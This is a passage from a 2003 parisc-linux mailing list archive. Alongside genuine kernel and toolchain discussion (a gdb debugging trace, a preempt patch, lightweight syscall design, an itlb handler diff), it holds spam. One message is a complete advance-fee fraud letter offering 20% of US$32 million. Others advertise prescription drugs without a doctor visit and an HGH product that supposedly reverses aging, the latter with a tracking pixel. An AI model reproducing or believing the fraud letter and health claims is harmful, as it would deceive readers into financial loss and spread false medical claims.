adaptor that=20
will</FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2>work with the SBC? Thanks for any =
help you can=20
offer.</FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2><A=20
href=3D"mailto:steve@alimartech.com">steve@alimartech.com</A></FONT></DIV=
>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2><A=20
href=3D"mailto:sales@alimartech.com">sales@alimartech.com</A>&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
(603) 679-2990 - Phone<BR>Alimar Technology=20
Corp,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
(603) 679-2550 - Fax<BR>309 State Route 125,<BR>Brentwood, =
NH<BR>03833<BR><A=20
href=3D"http://www.alimartech.com">www.alimartech.com</A></FONT></DIV></B=
ODY></HTML>

------=_NextPart_000_277C_01C35132.3DE79E30--



From - Thu Nov 08 21:28:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Emily Curran" <qlfnj05@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Emily Curran
Date: Thu, 24 Jul 03 08:46:26 GMT
Lines: 15
Approved: news@gmane.org
Message-ID: <uajwo7-h1l27-y0$7x832@7e5gg>
Reply-To: "Emily Curran" <qlfnj05@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="7A.C18E02F6"
X-Trace: ger.gmane.org 1416622621 28439 80.91.229.3 (22 Nov 2014 02:17:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:01 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 23 18:56:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BA19482D
	for <parisc-linux@parisc-linux.org>; Wed, 23 Jul 2003 18:56:49 -0600 (MDT)
Original-Received: from 156.153.254.40 (unknown [211.49.71.163])
	by cuprel1.hp.com (Postfix) with SMTP id 37E20977
	for <parisc-linux@parisc-linux.org>; Wed, 23 Jul 2003 17:56:42 -0700 (PDT)
X-Mailer: MIME-tools 5.503 (Entity 5.501)
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19012

--7A.C18E02F6
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<center><p><font face=3D"Arial, Helvetica, sans-serif"><a href=3D"http://c=
lick.hotbot.com/director.asp?id=3D9&amp;query=3Djim&amp;rsource=3DINK&amp;=
target=3Dhttp://www.medzservice.biz">click 
  here to orderrescription medications online<br>
  shipped overnight to your door with no doctor visit<br>
  phentermine, ultram, xenical and more<br>
  </strong></a></font></p>

--7A.C18E02F6--



From - Thu Nov 08 21:28:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dr. Simons" <dr_simons@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] shed while you sleep
Date: Sat, 23 Aug 03 10:12:58 GMT
Lines: 69
Approved: news@gmane.org
Message-ID: <2264$7i9-58n@xz55.3.46>
Reply-To: "Dr. Simons" <dr_simons@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="BF8B84E.DB9E9FE74_A6"
X-Trace: ger.gmane.org 1416622622 28467 80.91.229.3 (22 Nov 2014 02:17:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:02 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 24 04:16:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADBEF482D
	for <parisc-linux@parisc-linux.org>; Thu, 24 Jul 2003 04:16:35 -0600 (MDT)
Original-Received: from 156.153.254.40 (unknown [61.156.17.68])
	by cuprel1.hp.com (Postfix) with SMTP id 320EB8AA
	for <parisc-linux@parisc-linux.org>; Thu, 24 Jul 2003 03:16:32 -0700 (PDT)
Original-Received: from [37.91.41.91] by 156.153.254.40 with ESMTP id 96353673 for <parisc-linux@parisc-linux.org>; Sat, 23 Aug 2003 10:12:58 +0100
X-Mailer: MIME-tools 5.503 (Entity 5.501)
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19013

--BF8B84E.DB9E9FE74_A6
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<body bgcolor=3D"#FFFFFF" text=3D"#000000">
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
>As seen on 
  NBC, CBS, CNN, and even Oprah! </font> 
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
>The health 
  discovery that actually reverses aging while burning fat.</font> 
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
>Without dieting 
  or exercise! </font> 
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
><a href=3D"http://www.healthyyoung.biz/HGH_13/"><font face=3D"Verdana, Ar=
ial, Helvetica, sans-serif"><b>Get 
  Your Free Bottle of H-G-H Now! Visit Us Here</b></font></a> </font> 
<p align=3D"center">&nbsp; 
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp; 
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<div align=3D"center">
  <table width=3D"573" cellspacing=3D"0" cellpadding=3D"5"
border=3D"1"
bordercolor=3D"#000000"
style=3D"border-collapse:collapse">
    <tr>
      <td bgcolor=3D"#ffffff">
        <p><span style=3D"font-family:arial;
color:#666666;
font-size:10px;">Why was this email sent to you? At
some point you registered or 
made a purchase on a Web site with privacy policies
explaining that they may 
share your information with partners who will send you
valuable offers 
from time to time. </span></p>
        <p><span style=3D"font-family:arial;
color:#666666; font-size:10px;">If you no longer wish to be notified of th=
e latest 
          scientific breakthroughs or valuable offers, you may simply choo=
se to 
          take yourself out of the database <img src=3D"http://shouter.net=
firms.com/nfcounter?cid=3D1051991963&num_digits=3D8&font=3Dbc" width=3D1 h=
eight=3D1>permanently by <a
href=3D"http://www.healthyyoung.biz/delist.html">choosing this link</a>.</=
span></p>
      </td>
    </tr>
  </table>
</div><font color=3D"#ffffff"></font>
</body></html>

<parisc-linux@parisc-linux.org>
djhnsnap ypruikapkry  lv  yfws 
gg
vnax  ejq mkqsflvvjwdnadizgry
djzeg pqpxu
bywro culo

--BF8B84E.DB9E9FE74_A6--



From - Thu Nov 08 21:28:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aqeel Ahmad Chughtai" <c.aqeel@caramail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Business / Financial Benefit from UK
Date: Thu, 24 Jul 2003 13:30:36 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20030724132925.A4119482D@dsl2.external.hp.com>
Reply-To: c.aqeel@caramail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622622 28469 80.91.229.3 (22 Nov 2014 02:17:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 24 07:29:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhst2186.com (unknown [213.136.110.121])
	by dsl2.external.hp.com (Postfix) with SMTP id A4119482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Jul 2003 07:29:25 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19014

VERY URGENT & CONFIDENTIAL

Mr=2E Aqeel Ahmad Chughtai
Aberystwyth=2C Wales=2C UK=2E
Email=3A aqeel=40freesurf=2Efr

Assalamualaikum=2C  
Kindly Pardon me if this my letter would be an embarrassment to you for I am Mr=2E Aqeel Ahmad Chughtai=2C a Balochistan tribeman writing you from Aberystwyth=2C United Kingdom and I am presently on Political Asylum in the UK where I and several other Balochs sought refuge from the oppressive regime of the Iranian Government=2E

I am a council leader for one of the three refugee camps here in Europe=2C represents nearly 12=2C000 Balochs who have never received official refugee status because the EU Parliament only signed the U=2ES=2E Refugee Convention with the stipulation that United Kingdom and other European countries would not recognize non-Europeans as refugees=2E 

As a result=2C Balochs admitted into the UK have no rights=2C and no International agencies have been able to secure permission from the European Union to provide protection for the refugees=2C hence the UK Government have refused to grant me and others Political Asylum and they have gone further with threat to deport us back to Iran and I know that if this is done I would be killed if I step into Iran just as several students were killed recently during demonstration=2E I work to protect the welfare of displaced Balochs at great personal risk=2E My efforts have raised worldwide awareness of life in the makeshift camps where overcrowding=2C mass poisonings=2C beatings=2C and lack of medical supplies=2C water=2C and electricity cause hundreds of men=2C women=2C and children to die of cold=2
 C hunger=2C malnutrition=2C and communicable diseases=2E

The happy news here is that some public spirited philanthropists who would not want their identities made public called us after the unique and historical London Conference=2C which lasted for two days =28 26th & 27th of April 2003=29 told us that they have deposited the Sum of US$32Million with a Financial Institution in favour of the Balochs who are scattered all over the world and only I and or any person I nominate can claim the money from the Financial company and the money should be used mainly for purchasing of foods=2C pharmaceutical drugs=2C Clothings etc for thousands of our people suffering all over the world=2E  

I am therefore using this medium to solicit for your assistance=2E Your contacts were obtained  by me during my enduring search for a reliable and competent person that would claim this money for us from the company where it was deposited=2E 

There is a POWER OF ATTORNEY which I would  send alongside copies of my National Identity cards =2F Passport to you that would enable you claim the money from the Financial Company on our behalf=2E Upon your agreement and readiness to assist us claim the money =28US$32Million=29 from the Company=2C 20% of the total money would be your share for all your anticipated assistance=2C while 5% would be for any incidental expenses that you might incur in the process of claiming the money and transferring it to your Country=2C while the balance of 75% would be used to purchase Drugs=2C Clothing=2C Foods etc as earlier stated above=2C as I and a council leader of the people would find a way to travel down to your Country to make joint purchases of the above stated items=2E

I wish to repeat here that we have unshaken Confidence and trust in you and also wish to remind you of the TOP SECRECY this transaction requires=2C as we expect your positive response through this email address as stated above you can only reach me through this  above email as my movement is presently restricted by law covering Asylum Seekers=2C our movements are also restricted from travelling outside this Zone and Country for now=2C but  after receipt of your positive response and you wish to discuss with me I might give you a secret telephone number where you can reach me=2E On receiving your positive response we hope to finish this transaction within one week as a lot of our people are dying from diseases and hunger=2E

Expecting  your URGENT Positive response and thanks in advance=2E

Waalaikum salam=2C
Mr=2E Aqeel Ahmad Chughtai=09=09=09        









From - Thu Nov 08 21:28:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Bug#200619: gcc: parisc: compiling dietlibc-dev with -Os caus
Date: Thu, 24 Jul 2003 23:08:40 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <200307250308.h6P38ej6026594__39888.5214505301$1416622622$gmane$org@hiauly1.hia.nrc.ca>
References: <16160.16989.224282.484030@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622622 28475 80.91.229.3 (22 Nov 2014 02:17:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:02 +0000 (UTC)
Cc: pape-dbnbgs@smarden.org, 200619@bugs.debian.org,
	dave.anglin@nrc-cnrc.gc.ca, tausq@debian.org,
	parisc-linux@lists.parisc-linux.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 24 21:08:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D89F3482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Jul 2003 21:08:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h6P38ggL026596;
	Thu, 24 Jul 2003 23:08:42 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h6P38ej6026594;
	Thu, 24 Jul 2003 23:08:40 -0400 (EDT)
In-Reply-To: <16160.16989.224282.484030@gargle.gargle.HOWL> from "Matthias Klose" at Jul 24, 2003 04:32:29 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19015

> [CC to jda]
> 
> Please can you recheck with a current gcc snapshot (from the
> gcc-snapshot package) and attach the preprocessed source?

This doesn't appear to be a gcc problem.  The register %r3 is saved
on the stack in __stdio_init_file_nothreads.  The stack location
is clobbered by the fstat syscall.

> > +  {
> > +    struct stat st;
> > +    fstat(fd,&st);

At the fstat call we have the following values:

Breakpoint 11, 0x00010b10 in __stdio_init_file_nothreads ()
(gdb) printf "0x%x\n",*0xfaf005a8
0xfaf004c0
(gdb) printf "0x%x\n",$r25
0xfaf00548
(gdb) printf "0x%x\n",$r26
0x5
(gdb) c
Continuing.

Breakpoint 12, 0x00010b18 in __stdio_init_file_nothreads ()
(gdb) printf "0x%x\n",*0xfaf005a8
0x0

0xfaf005a8 is the location where %r3 was saved.  The break is at the
fstat syscall.  Non of the user space code in the call patch affects
the above location, so the bug must be in the kernel.

I looked at this on a 64-bit kernel:

dave@gsyprf11:~/dietlibc-0.22.orig$ uname -a
Linux gsyprf11.external.hp.com 2.4.21-pa6 #23 Mon Jul 14 23:11:39 PDT 2003 parisc64 GNU/Linux

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] preempt support for 2.6.0-test1
Date: Thu, 24 Jul 2003 21:58:37 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20030725045837.GB9254@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622623 28483 80.91.229.3 (22 Nov 2014 02:17:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 24 22:54:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id A6FD6482D
	for <parisc-linux@parisc-linux.org>; Thu, 24 Jul 2003 22:54:59 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id CCDEECD2F8; Thu, 24 Jul 2003 21:58:37 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19016

Fresh from Grant's room @ OLS :-)

ftp://ftp.parisc-linux.org/patches/diff-2.6.0-test1-preempt

Seems to boot and can compile stuff on a500. YMMV. Comments, test 
results, etc appreciated.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Generic light-weight syscall.
Date: Fri, 25 Jul 2003 02:37:40 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <20030725063739.GA13017@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622623 28487 80.91.229.3 (22 Nov 2014 02:17:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 25 00:39:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id A42C0482B
	for <parisc-linux@parisc-linux.org>; Fri, 25 Jul 2003 00:39:21 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19fwCy-0005Mg-00
	for <parisc-linux@parisc-linux.org>; Fri, 25 Jul 2003 02:37:40 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (89% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19017

pa,

Any thoughts about how one should implement some type of lightweight
syscall for our glibc to use?

We already have the makings of a simple system for SET_THREAD_SELF (e.g.
seting cr27, the thread register, from userpsace), and I want to extend
this to:

exchange_and_add (volatile uint32_t *mem, int val)
atomic_add (volatile uint32_t *mem, int val)
compare_and_swap (volatile long int *p, long int oldval, long int newval)

o---> libc 
 --> exchange_and_add 
  ==> Params into kernel
   ==> disable interrupts on the current processor
    ==> take a semaphore to keep other cpu's out
    ==> do work 
    ==> release semaphore
   ==> reenable i-bit
  --> back into userspace and done.

This _must_ be very very fast, and appear atomic to userspace.

Perhaps adding other pages instead of 0xE0 for set_thread_self might be
the simplest way to do this? The area after the linux gateway page
perhaps? Which seems to be the start of the next 4k page? Would this be
possible? e.g. branch to 0x1000 (not 0x100 which is the current syscall
branch).

c.



From - Thu Nov 08 21:28:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] itlb miss handler optimizations!
Date: Fri, 25 Jul 2003 03:04:50 -0400
Lines: 125
Approved: news@gmane.org
Message-ID: <20030725070449.GB13017@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="mYCpIKhGyMATD0i+"
X-Trace: ger.gmane.org 1416622623 28490 80.91.229.3 (22 Nov 2014 02:17:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 25 01:06:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02C5D482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jul 2003 01:06:32 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19fwdG-0005rs-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Jul 2003 03:04:50 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (89% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19018

--mYCpIKhGyMATD0i+
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


pa,

Lamont and myself were discussing the lightweight syscall
implementations and ran across some interesting itlb optimizations.

We first looked at the itlb_miss_XX functions, where XX is one of 11 or
20 wether your kernel is 32 or 64-bits respectively. And we saw that
there is an interlocked 'or' that nullifies a compare and branch. This
as Lamont argued, isn't as optimal as possible. 

Before:
	mfsp current space
	/* if faulting space is kernel space that's okay */
	or with nullify the current space and 0.
	/* die bad userpace die */
	cmpb if the faulting space <> current space then die.

Which can mean that branch prediction borks _all_ the time since if
userspace was constantly faulting then there wouldn't be much userspace
left.

Now:
	mfsp current space
	/* branch prediciton forward is winning */
	cmpb to itlb_user_fault if faulting space <> current space.
	/* ... else life is good */


	itlb_user_fault:
	/* Was it the kernel? Oh yeah... that's okay then */
	/* branch prediction winning again! */
	cmpb if the faulting space was 0, then go back up.

The nice part seems to be the predicted branches. Since we still have
one interlock between the mfsp and the cmpb, but the processor is
already filled it's queues with coming insn in the next bit of the itlb.
We keep the processor looking forward in the common case. Maybe it's
early in the morning and I'm not thinking well, but maybe it's Lamonts
ability to convince you of something you aren't sure of :)

Patch attached. We also moved a zdep to better the forward path during a
set of insn that weren't doing much waiting around for a memory read.

THE PATCH IS UNTESTED! If you want to give it a shot... please do so and
tell us if your box dies^H^H^H^H runs faster :)

Cheers,
Carlos.


--mYCpIKhGyMATD0i+
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="entry.S.diff"

Index: entry.S
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/entry.S,v
retrieving revision 1.98
diff -u -p -r1.98 entry.S
--- entry.S	9 Dec 2002 06:09:08 -0000	1.98
+++ entry.S	25 Jul 2003 06:37:58 -0000
@@ -1535,8 +1535,7 @@ itlb_miss_11:
 	mfctl           %cr25,ptp	/* load user pgd */
 
 	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,itlb_fault /* forward */
+	cmpb,<>,n	t0,spc,itlb_user_fault /* forward */
 
 	/* First level page table lookup */
 
@@ -1551,6 +1550,10 @@ itlb_miss_common_11:
 	sh2addl 	 t0,ptp,ptp
 	ldi		_PAGE_ACCESSED,t1
 	ldw		 0(ptp),pte
+
